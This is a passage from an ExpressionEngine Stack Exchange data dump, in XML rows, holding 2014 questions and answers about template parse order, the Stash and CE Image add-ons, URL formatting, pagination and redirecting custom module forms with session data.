=&amp;gt; isset($_SESSION[&quot;zip&quot;]) ? $_SESSION[&quot;zip&quot;] : &quot;&quot;,&#xA;     &quot;email&quot; =&amp;gt; isset($_SESSION[&quot;email&quot;]) ? $_SESSION[&quot;email&quot;] : &quot;&quot;,&#xA;     &quot;phone&quot; =&amp;gt; isset($_SESSION[&quot;phone&quot;]) ? $_SESSION[&quot;phone&quot;] : &quot;&quot;&#xA; );&#xA;&#xA; // Construct $variables array for use in parse_variables method&#xA; $variables = array();&#xA; $variables[] = $data;&#xA; $tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($tagdata, $variables);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have placed custom tags, as defined above, in my value portions of my input fields.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;input name=&quot;fname&quot; id=&quot;fname&quot; type=&quot;text&quot; class=&quot;form-control&quot; value=&quot;{fname}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine for now. When a user submits the form, if there's an error, all but the sensitive credit card information is saved to a session and the form is re-populated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, from a UI standpoint, I would much rather show the form with an error message and never use the built in EE show_message() function. My question is, instead of using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $this-&amp;gt;EE-&amp;gt;output-&amp;gt;show_message($data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to show the error message, what is the best practice for re-directing back to my form with my error message? Also, I feel that using session variables is a hack way to do things and I feel like there is probably something built into EE that does this for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the final section of my controller, where I call EE's built in show_message() function, I've already tried to call the function I created to instantiate the form, but all I get is a PHP error page that gives me the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Fatal error: Call to a member function parse_variables() on a non-object&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3242" LastEditorUserId="3242" LastEditDate="2014-06-17T18:14:59.353" LastActivityDate="2014-06-18T07:57:16.737" Title="Custom Module: Alternative to Using $this-&gt;EE-&gt;output-&gt;show_message($data) on a Form Submission" Tags="|plugin|custom-system-messages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23756" PostTypeId="2" ParentId="23747" CreationDate="2014-06-17T18:35:19.450" Score="2" Body="&lt;p&gt;If you check the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/pagination.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; you'll find an example that is essentially exactly what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;  {pagination_links}&#xA;    &amp;lt;ul&amp;gt;&#xA;      {first_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-first&quot;&amp;gt;First Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      {/first_page}&#xA;&#xA;      {previous_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;Previous Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      {/previous_page}&#xA;&#xA;      {page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}active{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      {/page}&#xA;&#xA;      {next_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;Next Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      {/next_page}&#xA;&#xA;      {last_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-last&quot;&amp;gt;Last Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      {/last_page}&#xA;    &amp;lt;/ul&amp;gt;&#xA;  {/pagination_links}&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-06-17T18:35:19.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23757" PostTypeId="1" AcceptedAnswerId="23758" CreationDate="2014-06-17T19:21:47.797" Score="0" ViewCount="144" Body="&lt;pre&gt;&lt;code&gt;{exp:ce_img:single&#xA;    allow_scale_larger=&quot;yes&quot;&#xA;    crop=&quot;yes|center,center|0,0|yes&quot;&#xA;    filter=&quot;auto_sharpen&quot;&#xA;    hash_filename=&quot;yes&quot;&#xA;    height=&quot;{embed:height}&quot;&#xA;    parse=&quot;inward&quot;&#xA;    src=&quot;{exp:stash:get name='default-profile-image'}&quot;&#xA;    url_only=&quot;yes&quot;&#xA;    width=&quot;{embed:width}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems like CE Image is ignoring the embed values for height and width. I've verified that the calling template is indeed passing the correct values and that the template that this CE Image tag is in can access those values. When I hard code numeric values for height and width, it works as expected. The problem only seems to occur when I try to use the embed variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already have &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt;, which was needed for the Stash variable to work. Any ideas what is wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it appears that the Stash variable works, I decided to try setting the embed variable to a Stash variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_conditionals=&quot;yes&quot; parse_tags=&quot;yes&quot;}&#xA;    {stash:height}{embed:height}{/stash:height}&#xA;{/exp:stash:set}&#xA;{exp:stash:set parse_conditionals=&quot;yes&quot; parse_tags=&quot;yes&quot;}&#xA;    {stash:width}{embed:width}{/stash:width}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I used the Stash variable as the parameter value in CE Image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:config_variables:get name='no_protocol_site_url'}{exp:ce_img:single&#xA;    allow_scale_larger=&quot;yes&quot;&#xA;    crop=&quot;yes|center,center|0,0|yes&quot;&#xA;    filter=&quot;auto_sharpen&quot;&#xA;    hash_filename=&quot;yes&quot;&#xA;    height=&quot;{exp:stash:get name='height'}&quot;&#xA;    parse=&quot;inward&quot;&#xA;    src=&quot;{exp:stash:get name='default-profile-image'}&quot;&#xA;    url_only=&quot;yes&quot;&#xA;    width=&quot;{exp:stash:get name='width'}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It still seems as if CE Image is ignoring the parameter values for &lt;code&gt;height&lt;/code&gt; and &lt;code&gt;width&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the template with the CE Image tag, I see the proper values being outputted by these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;{embed:width}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h2&amp;gt;{exp:stash:get name='width'}&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I enabled template debugger and noticed this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Embed Variables (Keys): author_id|width|height&#xA;Embed Variables (Values): 175|{img_base_dimension_md}|{img_base_dimension_md}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{img_base_dimension_md}&lt;/code&gt; and &lt;code&gt;{img_base_dimension_md}&lt;/code&gt; are snippets and are being passed from the embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed='test/get-image' author_id='175' width='{img_base_dimension_md}' height='{img_base_dimension_md}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the values are just the string interpretation of the snippets, then I don't see how I am getting the snippet values when I output them in the &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2014-06-17T20:24:21.647" LastActivityDate="2015-01-14T01:53:26.557" Title="Parse order problem with CE Image?" Tags="|parse-order|ce-image|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23758" PostTypeId="2" ParentId="23757" CreationDate="2014-06-17T19:53:51.897" Score="0" Body="&lt;p&gt;The EE parser parses embed variables long before exp tags are parsed (see the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html#rendering-stages&quot; rel=&quot;nofollow&quot;&gt;EE parser rendering stages&lt;/a&gt;), so if the CE Image tag is in an actual embed template, then using the embed variables shouldn't be an issue. Are you including the embed with the normal {embed=''} syntax?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you enable the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/output_and_debugging_preferences.html#display-template-debugging&quot; rel=&quot;nofollow&quot;&gt;template debugger&lt;/a&gt;, you can search through the output and see exactly what is being passed into the CE Image tag by the EE parser. Once you know what is actually being passed in, it is easier to work backwards and see where setting the variables is going wrong.&lt;/p&gt;&#xA;" OwnerUserId="936" LastActivityDate="2014-06-17T19:53:51.897" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23759" PostTypeId="1" AcceptedAnswerId="23867" CreationDate="2014-06-17T20:24:38.017" Score="1" ViewCount="92" Body="&lt;p&gt;EE 2.8.1, Freemember 2.3.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a site where member registration is set to &quot;Self Activation via Email&quot;. When a user clicks on the activation link in the email they receive after initial registration, they get sent to the ugly gray box EE profile template screen that states &quot;Thank You! Your account has been activated, etc&quot;. Is there any way for Freemember to manage this screen as well?&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2014-06-22T23:36:46.303" Title="Can Freemember be used for the &quot;Account Activated&quot; EE screen?" Tags="|freemember|registration|activation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23761" PostTypeId="1" AcceptedAnswerId="23762" CreationDate="2014-06-17T22:43:38.167" Score="1" ViewCount="586" Body="&lt;p&gt;I allow members to enter their web address, facebook address, etc. for their member profiles as well as in directory listing entries. I instruct them to always include &quot;http://&quot; at the beginning of the URL but of course they don't always listen. So in many cases I'm getting URL formatted with no &quot;http://&quot; or &quot;https://&quot; which create bad links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can essentially do a find a replace for NOT found? So if the URL string does not contain &quot;http://&quot; or &quot;https://&quot; then I can add it back in so the link isn't broken?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use CE String plugin for other things and I have been trying to work out a way to use it for this purpose but haven't had any luck yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the related part of my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if website}&amp;lt;li class=&quot;web&quot;&amp;gt;&amp;lt;a href=&quot;{website}&quot;&amp;gt;{exp:low_replace multiple=&quot;yes&quot; find=&quot;http://|https://&quot;}{website}{/exp:low_replace}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/if}&#xA;{if facebook}&amp;lt;li class=&quot;facebook&quot;&amp;gt;&amp;lt;a href=&quot;{facebook}&quot;&amp;gt;{exp:low_replace multiple=&quot;yes&quot; find=&quot;http://|https://&quot;}{facebook}{/exp:low_replace}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to enter some logic at the beginning of each link's href to add in the &quot;http://&quot; if the member has not included it in their URL string. Would appreciate any help on how to achieve this.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-06-17T23:21:28.480" Title="How to fix improperly formatted URL strings entered by members" Tags="|url|ce-string|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23762" PostTypeId="2" ParentId="23761" CreationDate="2014-06-17T23:21:28.480" Score="2" Body="&lt;p&gt;The EECMS has a &quot;first party&quot; plugin for this, but it isn't included in ExpressionEngine by default. You have to &lt;a href=&quot;https://github.com/EllisLab/Valid-Url&quot; rel=&quot;nofollow&quot;&gt;download it&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the own add-on file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Makes sure that a URL has a protocol, that ampersands are converted to entities, and all&#xA;  other characters are properly URL encoded.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if website}&#xA;    &amp;lt;li class=&quot;web&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{exp:valid_url}{website}{/exp:valid_url}&quot;&amp;gt;&#xA;            {website}&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/if}&#xA;{if facebook}&#xA;    &amp;lt;li class=&quot;facebook&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{exp:valid_url}{facebook}{/exp:valid_url}&quot;&amp;gt;&#xA;            {facebook}&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's some useful &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/#available-for-download&quot; rel=&quot;nofollow&quot;&gt;add-ons available for download&lt;/a&gt; on the User Guide. They're all maintained by EllisLab itself.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-06-17T23:21:28.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23763" PostTypeId="2" ParentId="23637" CreationDate="2014-06-18T01:33:11.960" Score="0" Body="&lt;p&gt;Take the exp:channel:entries tags away....&lt;/p&gt;&#xA;" OwnerUserId="552" LastActivityDate="2014-06-18T01:33:11.960" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23764" PostTypeId="1" CreationDate="2014-06-18T05:15:25.163" Score="0" ViewCount="90" Body="&lt;p&gt;I have an issue in Channel Files 5.2.9 in ExpressionEngine 2.8.1.&#xA;Please follow my attached screenshot with dev console log which has error.&#xA;This issue was found in template in new entry form. In this case the “upload” button in upload form is not active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any ideas?&#xA;Thank you for help.&lt;img src=&quot;https://i.stack.imgur.com/c5B23.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3245" LastActivityDate="2015-05-10T13:59:21.077" Title="Channel Files upload button console error" Tags="|devdemon|channel-files|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23766" PostTypeId="1" AcceptedAnswerId="23776" CreationDate="2014-06-18T06:13:58.437" Score="1" ViewCount="57" Body="&lt;p&gt;Yet another parse order problem!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to use &lt;a href=&quot;http://devot-ee.com/add-ons/rest&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/rest&lt;/a&gt;. This works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rest url=&quot;/api/get-default-profile-image/175/&quot; format=&quot;json&quot;}&#xA;    {default_profile_image}&#xA;{/exp:rest}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rest url=&quot;/api/get-default-profile-image/{member_id}/&quot; format=&quot;json&quot;}&#xA;    {default_profile_image}&#xA;{/exp:rest}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I changed the &lt;code&gt;175&lt;/code&gt; with &lt;code&gt;{member_id}&lt;/code&gt;. Any suggestions how I can get this to work?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-06-18T11:15:05.900" Title="Parse isue with REST addon" Tags="|templates|parse-order|parsing|parse|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23769" PostTypeId="2" ParentId="23659" CreationDate="2014-06-18T07:21:51.477" Score="0" Body="&lt;p&gt;Fixed this. I had &lt;code&gt;{if modifiers}&lt;/code&gt; and then displayed the modifiers. I changed this to &lt;code&gt;{if modifier_name}&lt;/code&gt;. Seems like this fixed the problem.&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-18T07:21:51.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23770" PostTypeId="2" ParentId="23755" CreationDate="2014-06-18T07:35:17.933" Score="0" Body="&lt;p&gt;Instead of module action, which posts a form to &lt;code&gt;/index.php?action_id=xx&lt;/code&gt;, i rather post to the template itself (optionally with an extra segment [1] ) and catch the post-data in the add-on tag on the template itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;em&gt;freemember&lt;/em&gt; and &lt;em&gt;channel-form&lt;/em&gt; (formerly safecracker). Basically, inside your plugin / module you check that $_POST[submit] is set and then process and handle the form. You can use &lt;code&gt;{message}&lt;/code&gt; tags or tagpairs to output notices, again, you can take a look at the mentioned add-ons for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] As mentioned in this answer (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/23609/securing-form-data/23675#23675&quot;&gt;secure form data&lt;/a&gt;) it is good practice to use &lt;a href=&quot;http://en.wikipedia.org/wiki/Post/Redirect/Get&quot; rel=&quot;nofollow noreferrer&quot;&gt;post/redirect/get&lt;/a&gt; (wikipedia) pattern. This prevents multiple submits to a form when a user reloads the page. For instance, when a form sits on &lt;code&gt;/group/template&lt;/code&gt; you can post to &lt;code&gt;/group/template/save/&lt;/code&gt; and after success redirect back. The extra (dummy) segment can be helpful in this procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the session, you can use $_SESSION, since EE session is rather basic (cookie based?) However i would create an array, put that into the session and add a reference to it. That way you have more of a single point of reference (pun intended) where in the future you can replace the session handling system.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// reference session variable&#xA;session_start(); // important, otherwise reference doesn't work&#xA;$_SESSION['usersession'] = array();&#xA;$usersession &amp;amp;= $_SESSION['usersession'];&#xA;&#xA;$usersession['name'] = 'john';&#xA;$usersession['info'] = '....';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="155" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-06-18T07:57:16.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23772" PostTypeId="1" CreationDate="2014-06-18T08:14:04.383" Score="0" ViewCount="88" Body="&lt;p&gt;I need to integrate Paymentsense with Carthrob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Althought in the Cartthrob docs it says Paymentsense is included, I can't find it in the 'Choose your primary payment gateway' drop down list in the 'Payment Gateway Settings' admin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The statement on the docs it says &quot;The following payment gateways are included with CartThrob (or can be obtained by request).&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean I need to request Paymentsense integration? Anyone had any experience with this?&lt;/p&gt;&#xA;" OwnerUserId="3241" LastActivityDate="2014-09-03T07:54:15.053" Title="Can I integrate Paymentsense payment gateway with Carthrob?" Tags="|cartthrob|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23773" PostTypeId="1" AcceptedAnswerId="23830" CreationDate="2014-06-18T08:30:53.133" Score="0" ViewCount="475" Body="&lt;p&gt;I'm having issues with Structure module... When I try to make a child page, it does this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yWj6H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I remove it as a child page, and refresh it puts the styling back but the page is in totally the wrong place?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why could this be happening?&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2020-02-27T22:31:51.113" Title="Can't reorder Structure pages" Tags="|add-on|structure|pages|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23774" PostTypeId="1" AcceptedAnswerId="23780" CreationDate="2014-06-18T09:41:57.003" Score="2" ViewCount="176" Body="&lt;p&gt;i have a channel screenings with a relationship with movie.&#xA;The screening channel has date, place and movie relationship with dropdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the dropdown has now about 1000+ movies in it. Is there eg a choosen plugin on EE to replace the dropdown? (this one seems to be in beta &lt;a href=&quot;http://devot-ee.com/add-ons/chosen-selects&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/chosen-selects&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best&#xA;Dave&lt;/p&gt;&#xA;" OwnerUserId="834" LastActivityDate="2014-06-18T15:56:03.267" Title="Advice for a user-friendly relationship dropdown" Tags="|relationships|control-panel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23775" PostTypeId="2" ParentId="23773" CreationDate="2014-06-18T10:29:12.483" Score="1" Body="&lt;p&gt;How many pages/entries are structure managed in total? Looks like you might be suffering from the structure reorder bug (which is not a structure bug).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;http://madebyhippo.com/blog/view/structure_reorder_bug&quot; rel=&quot;nofollow&quot;&gt;http://madebyhippo.com/blog/view/structure_reorder_bug&lt;/a&gt; which will give you more details on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you file a support bug with Travis at Structure, quoting this SE post - he can redirect the ticket through to me where I can have a look for you.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2014-06-18T10:29:12.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23776" PostTypeId="2" ParentId="23766" CreationDate="2014-06-18T11:15:05.900" Score="2" Body="&lt;p&gt;The easiest solution would be to use &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo Variables&lt;/a&gt; which provides an &lt;strong&gt;&lt;em&gt;early parsed&lt;/em&gt;&lt;/strong&gt; &lt;code&gt;{logged_in_member_id}&lt;/code&gt; which will allow you to use it as a dynamic value in your URL path.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rest url=&quot;/api/get-default-profile-image/{logged_in_member_id}/&quot; format=&quot;json&quot; parse=&quot;inward&quot;}&#xA;    {default_profile_image}&#xA;{/exp:rest}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-06-18T11:15:05.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23779" PostTypeId="1" AcceptedAnswerId="23786" CreationDate="2014-06-18T14:11:00.697" Score="0" ViewCount="54" Body="&lt;p&gt;I'm currently using a template that displays an entry that could come from one of two channels like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;channel1|channel2&quot;&#xA;    status=&quot;open&quot;&#xA;    limit=&quot;1&quot;&#xA;    require_entry=&quot;yes&quot;&#xA;}&#xA;    {exp:stash:set parse_tags=&quot;yes&quot; parse_depth=&quot;3&quot; save=&quot;yes&quot; scope=&quot;site&quot;}&#xA;        {stash:place_shortdesc}{cf_channel1_shortdescription}{cf_channel2_shortdescription}{/stash:place_shortdesc}&#xA;        {stash:place_desc}{cf_channel1_description}{cf_channel2_description}{/stash:place_desc}&#xA;    {/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using Stash to create the variables, for example &lt;code&gt;{stash:place_shortdesc}&lt;/code&gt; where the short description could come from 1 of 2 fields, depending on which channel the current entry is from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if this is the best way to approach this, particularly for performance? or whether it needs something like conditional loading of fields based on channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2014-06-18T16:43:22.430" Title="Using Stash to get data from 1 of 2 fields" Tags="|templates|stash|template-partials|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23780" PostTypeId="2" ParentId="23774" CreationDate="2014-06-18T14:11:40.443" Score="3" Body="&lt;p&gt;Pixel &amp;amp; Tonic's &lt;a href=&quot;http://devot-ee.com/add-ons/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt;, which is a many to many relationship field, does have one seriously awesome benefit for you in this regard - filtering. It allows you to filter by category and search by keyword - so it may be that feature alone that makes it worth your while for this purpose.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-06-18T14:11:40.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23782" PostTypeId="1" AcceptedAnswerId="23816" CreationDate="2014-06-18T15:24:33.567" Score="0" ViewCount="183" Body="&lt;p&gt;Is it possible to change the case AND change spaces to underscores using Low Variables?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I was trying to use...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find='\s+|\w+' replace='_|\l+' regex='yes' multiple='yes'}Flavours yo{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I tihnk I may have got the RegEx completly wrong (Not my strong point!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because this just outputs &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;L&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="362" LastActivityDate="2014-06-27T11:16:11.690" Title="Low Replace - Change Case &amp; Remove Space" Tags="|low|low-replace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23783" PostTypeId="1" AcceptedAnswerId="23807" CreationDate="2014-06-16T17:06:51.067" Score="1" ViewCount="681" Body="&lt;p&gt;New channel entries have stopped displaying on the front end regardless of channel or MSM site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see the new entry in EE backend, but it's not showing on the front-end pages/site.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;test&quot; site=&quot;customers&quot; show_expired=&quot;yes&quot; show_future_entries=&quot;yes&quot; dynamic=&quot;no&quot; status=&quot;open|not closed&quot;}&#xA;{title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's odd is if I add &lt;code&gt;limit=&quot;100&quot;&lt;/code&gt; (or any number for that matter, and even other tags as well) it will start displaying the new channel entry.&lt;/p&gt;&#xA;" OwnerUserId="3203" OwnerDisplayName="roasticle" LastEditorUserId="3203" LastEditDate="2014-06-19T15:20:56.973" LastActivityDate="2014-06-19T18:18:07.973" Title="New Channel Entries Not Displaying" Tags="|channel-entries|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23784" PostTypeId="2" ParentId="23779" CreationDate="2014-06-18T15:47:52.637" Score="0" Body="&lt;p&gt;I would just use a conditional for which tags to use in the stash:set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;channel1|channel2&quot;&#xA;    status=&quot;open&quot;&#xA;    limit=&quot;1&quot;&#xA;    require_entry=&quot;yes&quot;&#xA;}&#xA;    {exp:stash:set &#xA;        parse_tags=&quot;yes&quot; &#xA;        parse_conditionals=&quot;yes&quot; &#xA;    }&#xA;        {if channel == 'channel1'}&#xA;            {stash:place_shortdesc}{cf_channel1_shortdescription}{/stash:place_shortdesc}&#xA;            {stash:place_desc}{cf_channel1_description}{/stash:place_desc}&#xA;        {/if}&#xA;        {if channel == 'channel2'}&#xA;            {stash:place_shortdesc}{cf_channel2_shortdescription}{/stash:place_shortdesc}&#xA;            {stash:place_desc}{cf_channel2_description}{/stash:place_desc}&#xA;        {/if}&#xA;    {/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't think performance would be an issue as you're only dealing with a single entry. One thing that would help though is not using additional parse_depth unless it's needed for stash set. Also, pretty sure you need to add parse_conditionals=&quot;yes&quot; to the set parameters.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-06-18T15:47:52.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
